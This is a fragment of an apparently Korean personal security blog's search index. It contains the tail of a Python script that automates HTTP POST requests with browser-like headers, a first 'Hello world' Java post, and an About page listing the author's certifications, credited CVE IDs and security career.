class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd_header\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Host\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;***\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd_header\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Connection\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;close\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd_header\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Content-Length\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;360\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd_header\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Accept\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;application/json, text/javascript, */*; q=0.01\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd_header\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;X-Requested-With\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;XMLHttpRequest\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd_header\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;User-Agent\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                   \u003cspan class=\"s2\"\u003e\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd_header\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Sec-Fetch-Mode\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;cors\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd_header\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Content-Type\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;application/x-www-form-urlencoded\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd_header\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Sec-Fetch-Site\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;same-origin\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd_header\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Referer\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;***\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd_header\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Accept-Encoding\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;gzip, deflate\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd_header\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Accept-Language\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd_header\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Cookie\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;_ga=GA1.2.1167119943.1572314702; _gid=GA1.2.304601219.1572314702; PHPSESSID=n07lta0bu412bcsk0q9jejvoh7; _gat_gtag_UA_74704901_2=1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e#POST요청 후 리스폰스 데이터를 ResponseData 변수에 저장합니다.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eResponseData\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eurllib\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erequest\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eurlopen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eread\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edecode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;utf-8\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e#리스폰스 데이터를 출력합니다\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nb\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eResponseData\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e","title":"Python Http POST요청 자동화 코드"},{"content":" ## Git blog 시작 2022년 01월 23일 깃 블로그를 시작 합니다. 앞으로 보안, 도커, 개발, 네트워크 등 개인 공부내용을 포스팅 할 예정입니다.\n2020년도 8월 입대~ 2022년도 1월 전역\npublic class myJava { public static void main(String[] args) { System.out.println(\u0026#34;Hello world!\u0026#34;); System.out.println(\u0026#34;Hello Git Blog!\u0026#34;); } } ","permalink":"https://dig06161.github.io/2022/01/23/gitblog-start/","summary":"\u003chr\u003e\n## Git blog 시작  \n\u003cp\u003e2022년 01월 23일 깃 블로그를 시작 합니다. 앞으로 보안, 도커, 개발, 네트워크 등 개인 공부내용을 포스팅 할 예정입니다.\u003c/p\u003e\n\u003cp\u003e2020년도 8월 입대~ 2022년도 1월 전역\u003c/p\u003e\n\u003chr\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-java\" data-lang=\"java\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003emyJava\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"n\"\u003eSystem\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eprintln\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello world!\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"n\"\u003eSystem\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eprintln\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello Git Blog!\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ccenter\u003e\u003cimg src=\"/img/test.jpg\" width=\"50%\" height=\"50%\"\u003e\u003c/center\u003e","title":"Git blog 시작"},{"content":"취득내역 정보보안기사 정보처리산업기사 LS CVE CVE-2023-22803 CVE-2023-22804 Mitsubishi CVE CVE-2023-0457 CVE-2023-0525 활동내용 지엔(ZIEN) 연구개발팀 입사 (24.03.04 ~ ing) 2023 호남 사이버보안 컨퍼런스 웹취약점 경진대회 우수상 (23.09.22) 한국정보기술연구원 KITRI BoB 11기 취약점분석 (22.07.01 ~ 23.02.28) 육군 지상작전사령부 제3군단 103정보통신단 사이버방호실 사이버네트워크작전팀 (20.10.22 ~ 22.2.23) ISMS-P 준비를 위한 웹/서버 취약점 진단 [(주) 엔오비즈] (19.11.01 ~ 19.11.15) 중소기업 웹 취약점진단 항목 점검 [(주) 엔오비즈] (19.06.03 ~ 19.06.28) 하이퍼서트 AutoInSleep 백엔드 개발 (2019년도) Ubuntu 18.04, Spring Framework 4, Spring Security, Mybatis, MariaDB 건양대학교 K-CTF 도커 컨테이너 기반 웹, 암호학 문제출제 및 IPS 컨테이너 구축 (19.03.21 ~ 19.09.21) Suricata IPS, RSA Algorithm, Automated Attack, Spring Framework CVE, php SQL Injection 롯데호텔 메거진 홈페이지 백엔드 개발 (2018년도) Spring Framework 3, mysql 건양대학교 K-CTF 도커 컨테이너 기반 웹 문제출제 (18.04.06 ~ 18.10.27) php SQL Injection, php 다운로드 취약점 공주대학교 정보보호영재교육원 전문반 (2015년도~2017년도) ","permalink":"https://dig06161.github.io/about/","summary":"\u003ch2 id=\"취득내역\"\u003e취득내역\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e정보보안기사\u003c/li\u003e\n\u003cli\u003e정보처리산업기사\u003c/li\u003e\n\u003cli\u003eLS CVE\n\u003cul\u003e\n\u003cli\u003eCVE-2023-22803\u003c/li\u003e\n\u003cli\u003eCVE-2023-22804\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eMitsubishi CVE\n\u003cul\u003e\n\u003cli\u003eCVE-2023-0457\u003c/li\u003e\n\u003cli\u003eCVE-2023-0525\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"활동내용\"\u003e활동내용\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e지엔(ZIEN) 연구개발팀 입사 (24.03.04 ~ ing)\u003c/li\u003e\n\u003cli\u003e2023 호남 사이버보안 컨퍼런스 웹취약점 경진대회 우수상 (23.09.22)\u003c/li\u003e\n\u003cli\u003e한국정보기술연구원 KITRI BoB 11기 취약점분석 (22.07.01 ~ 23.02.28)\u003c/li\u003e\n\u003cli\u003e육군 지상작전사령부 제3군단 103정보통신단 사이버방호실 사이버네트워크작전팀 (20.10.22 ~ 22.2.23)\u003c/li\u003e\n\u003cli\u003eISMS-P 준비를 위한 웹/서버 취약점 진단 [(주) 엔오비즈] (19.11.01 ~ 19.11.15)\u003c/li\u003e\n\u003cli\u003e중소기업 웹 취약점진단 항목 점검 [(주) 엔오비즈] (19.06.03 ~ 19.06.28)\u003c/li\u003e\n\u003cli\u003e하이퍼서트 AutoInSleep 백엔드 개발 (2019년도)\n\u003cul\u003e\n\u003cli\u003eUbuntu 18.04, Spring Framework 4, Spring Security, Mybatis, MariaDB\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e건양대학교 K-CTF 도커 컨테이너 기반 웹, 암호학 문제출제 및 IPS 컨테이너 구축 (19.03.21 ~ 19.09.21)\n\u003cul\u003e\n\u003cli\u003eSuricata IPS, RSA Algorithm, Automated Attack, Spring Framework CVE, php SQL Injection\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e롯데호텔 메거진 홈페이지 백엔드 개발 (2018년도)\n\u003cul\u003e\n\u003cli\u003eSpring Framework 3, mysql\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e건양대학교 K-CTF 도커 컨테이너 기반 웹 문제출제 (18.04.06 ~ 18.10.27)\n\u003cul\u003e\n\u003cli\u003ephp SQL Injection, php 다운로드 취약점\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e공주대학교 정보보호영재교육원 전문반 (2015년도~2017년도)\u003c/li\u003e\n\u003c/ul\u003e","title":"About"}]